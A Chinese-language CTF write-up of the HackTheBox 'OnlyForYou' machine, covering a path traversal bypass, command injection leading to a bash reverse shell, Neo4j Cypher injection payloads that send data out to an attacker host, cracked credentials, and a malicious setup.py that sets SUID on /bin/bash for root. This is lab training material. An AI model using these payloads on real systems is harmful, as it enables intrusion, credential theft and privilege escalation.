前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >HackTheBox - Machines - OnlyForYou

HackTheBox - Machines - OnlyForYou

作者头像
kam1
发布2023-05-07 21:39:53
1.3K0
发布2023-05-07 21:39:53
举报

Hack The Box - Machines - OnlyForYou

开启机器后访问ip地址自动跳转域名,将其ip地址和域名写入hosts文件

image-20230503123209050
image-20230503123209050

1. 信息搜集

代码语言:javascript
复制
C:\Users\kami>nmap -sS -sC -sV -A -p- 10.10.11.210
Nmap scan report for only4you.htb (10.10.11.210)
Host is up (0.60s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 e883e0a9fd43df38198aaa35438411ec (RSA)
|   256 83f235229b03860c16cfb3fa9f5acd08 (ECDSA)
|_  256 445f7aa377690a77789b04e09f11db80 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Only4you
|_http-server-header: nginx/1.18.0 (Ubuntu)
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 4.15 - 5.6 (92%), Linux 3.2 - 4.9 (92%), Linux 5.3 - 5.4 (92%), Linux 2.6.32 - 3.10 (91%), Linux 2.6.32 - 3.9 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 993/tcp)
HOP RTT       ADDRESS
1   839.00 ms 10.10.16.1
2   393.00 ms only4you.htb (10.10.11.210)

没有开放什么特别的端口,ssh不抱希望。

Gobuster找到一处子域名,添加到hosts后进行访问

image-20230503132856609
image-20230503132856609
image-20230503132928003
image-20230503132928003
image-20230503133158894
image-20230503133158894

页面有个Source Code可以将其源码下载下来,右上角两处功能点是图片大小调整图片转换,可以上传文件仅支持jpg、png格式文件

既然可以下载源码,那么就先从源码入手

2. 代码审计

image-20230503140416935
image-20230503140416935

任意文件下载

上面的这些操作基本就是获取文件名是否合法、调整是否成功之类的,跳到download函数

image-20230503141107389
image-20230503141107389

获取到文件名后正常运行的情况会下载此文件,访问download抓包修改为post方法访问 参数image

如果触发代码中的规则则会重定向

image-20230503142118927
image-20230503142118927

规则是以…开头,以…/结尾,如果/…/…/xxx/x则不会触发规则

image-20230503142332163
image-20230503142332163

这样就get一枚任意文件下载了,尝试下载shadow、hosts文件等,页面报错500,应该是权限不足

尝试读取主站的文件,猜测linux系统默认路径/var/www/....,如果猜测正确就开始爆破

image-20230503143352882
image-20230503143352882
image-20230503145221851
image-20230503145221851

RCE反弹Shell

成功爆破到一个form.py文件,有一个邮箱账号[email protected],将代码复制下来,审计一下

image-20230503145800382
image-20230503145800382

这里会执行命令:run([f"dig txt {domain}"]) 获取[email protected]符号之后的内容 ,可以用";"来分割达到命令执行的效果

image-20230503150553630
image-20230503150553630

本地监听8888端口,目标主机执行反弹shell

创建一个bash.sh内容为bash -i >& /dev/tcp/10.10.16.7/8888 0>&1 本地起一个python服务,让目标机器访问执行即可获得主机Shell

image-20230503153137308
image-20230503153137308

3. 漏洞利用

通过查看端口看到有一些其他端口在监听,使用frp把流量反代出来去访问这些端口,同样使用python起一个web服务,将frp和配置下载到主机中

image-20230503155211712
image-20230503155211712
image-20230503160747361
image-20230503160747361
image-20230503160005616
image-20230503160005616

访问3000端口是Gogs服务,需要账号密码才能登录

image-20230503160624008
image-20230503160624008

8001端口是一个登录框,可以使用弱口令登录user:admin password:admin

image-20230503160715946
image-20230503160715946
image-20230503161016892
image-20230503161016892
image-20230503212103719
image-20230503212103719

7474端口是Neo4j Browser,Google了一下,是图数据库,存在与数据库交互是否也有注入呢。

回到8001端口,登录之后来到搜索框,参考资料进行注入

image-20230503212340559
image-20230503212340559

Neo4j注入 Get UserShell

首先获取版本号:' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.16.33:4444/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //

image-20230504184912190
image-20230504184912190

获取节点(可以理解为mysql中的表):1' OR 1=1 WITH 1 as a CALL db.labels() yield label LOAD CSV FROM 'http://10.10.16.33:4444/?label='+label as l RETURN 0 as _0 //

image-20230504190218035
image-20230504190218035

查询user节点的属性值:1' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.16.33:4444/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //

image-20230504190613646
image-20230504190613646

查询结果给出了usernamepassword 解密一下

username

password

解密

admin

8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918

admin

john

a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6

ThisIs4You

image-20230504191107342
image-20230504191107342

现在遇到了一个新用户 john,前面探测过ssh端口开放,经过尝试,发现admin不能ssh,但john可以通过ssh进入

image-20230504191612098
image-20230504191612098

成功登录后获取到user shell flag

image-20230504191720206
image-20230504191720206
image-20230504192747071
image-20230504192747071

Pip3 Download RCE Get Root Shell

这里允许john用户使用pip3 download 3000端口的压缩文件,那么去登录一下gogs看看

可以通过pip3 download以及install来执行命令

在Gogs中test仓库默认是私有仓库,将其设置为公开

image-20230504193456794
image-20230504193456794

接下来构建一个提权的demo,在github Copy一份setup.py的文件,RunCommand函数添加内容os.system("chmod +s /bin/bash")

代码语言:javascript
复制
import os
from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info


def RunCommand():
    print("Hello, p0wnd!")
    os.system("chmod +s /bin/bash")
class RunEggInfoCommand(egg_info):
    def run(self):
        RunCommand()
        egg_info.run(self)


class RunInstallCommand(install):
    def run(self):
        RunCommand()
        install.run(self)

setup(
    name = "this_is_fine_wuzzi",
    version = "0.0.1",
    license = "MIT",
    packages=find_packages(),
    cmdclass={
        'install' : RunInstallCommand,
        'egg_info': RunEggInfoCommand
    },
)

代码添加之后就是构建文件了首先安装库,在setup.py同目录直接build即可,构建完成会在目录下生成dist和this_is_fine_wuzzi.egg-info两个文件夹,其中需要的tar.gz文件在dist目录中 记得用Linux

image-20230504201256073
image-20230504201256073

将其上传到gogs仓库,再在目标主机下载 执行命令即可获得root shell

image-20230504203016154
image-20230504203016154
image-20230504204202175
image-20230504204202175

建议做的时候先构建好文件,设置仓库隐私之后立马上传和下载,这里服务器存在重置机制,时间很短。

10.10.16.7以及10.10.16.33都是本机ip地址

参考链接:

jjs9366

Some3B0dy

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-05-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Hack The Box - Machines - OnlyForYou
    • 1. 信息搜集
      • 2. 代码审计
        • 任意文件下载
        • RCE反弹Shell
      • 3. 漏洞利用
        • Neo4j注入 Get UserShell
        • Pip3 Download RCE Get Root Shell
    相关产品与服务
    图数据库 KonisGraph
    图数据库 KonisGraph(TencentDB for KonisGraph)是一种云端图数据库服务,基于腾讯在海量图数据上的实践经验,提供一站式海量图数据存储、管理、实时查询、计算、可视化分析能力;KonisGraph 支持属性图模型和 TinkerPop Gremlin 查询语言,能够帮助用户快速完成对图数据的建模、查询和可视化分析。
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档